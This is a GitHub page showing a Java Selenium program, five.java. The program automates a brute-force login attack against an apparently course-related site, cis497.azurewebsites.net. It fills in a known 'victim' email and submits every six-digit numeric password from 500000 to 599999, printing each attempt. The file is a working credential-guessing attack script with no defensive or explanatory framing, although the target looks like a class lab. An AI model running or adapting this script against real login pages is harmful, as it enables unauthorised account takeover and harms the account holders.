-
Notifications
You must be signed in to change notification settings - Fork 0
/
five.java
81 lines (57 loc) · 2.37 KB
/
five.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import java.util.Arrays;
import org.openqa.selenium.By;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;
public class five {
public static void main(String[] args) {
//Change inside second quotation marks to where you save chromedriver.exe
System.setProperty("webdriver.chrome.driver", "C:/Users/Thomas/Desktop/chromedriver.exe");
// Create a new instance of the Chrome driver
WebDriver driver = new ChromeDriver();
driver.get("http://cis497.azurewebsites.net/Account/Login");
String user="[email protected]"; //We know the victim's username
WebElement element_enter = driver.findElement(By.xpath("//*[@id='email']"));
element_enter.findElement(By.xpath("//*[@id='email']")).sendKeys(user);
int attempt = 0;
for(int a=5; a<6; a++){
int[] temp = {0, 0, 0, 0, 0, 0};
for(int b=0; b<10; b++){
for(int c=0; c<10; c++){
for(int d=0; d<10; d++){
for(int e=0; e<10; e++){
for(int f=0; f<10; f++){
temp[0] = a;
temp[1] = b;
temp[2] = c;
temp[3] = d;
temp[4] = e;
temp[5] = f;
// abcdef
//Thread.sleep(1000); 000000
String pass=Arrays.toString(temp);//change from int array to string
pass=pass.replaceAll("[,\\s\\[\\]]", ""); //take out special characters
System.out.println("Attempt #" + attempt + "...Trying Password: ");
System.out.println(pass);
attempt++;
WebElement element_enter2 = driver.findElement(By.xpath("//*[@id='password']"));
element_enter2.findElement(By.xpath("//*[@id='password']")).sendKeys(pass);
driver.findElement(By.xpath("//*[@id='password']")).sendKeys(Keys.RETURN);
WebElement delete_password=driver.findElement(By.xpath("//*[@id='password']"));
delete_password.clear();
// Thread.sleep(300);
}
}
}
}
continue; //Will break out of
}
}
System.out.println("Class Complete");
//Wait for 5 Sec
//Thread.sleep(5);
// Close the driver
//driver.quit();
}
}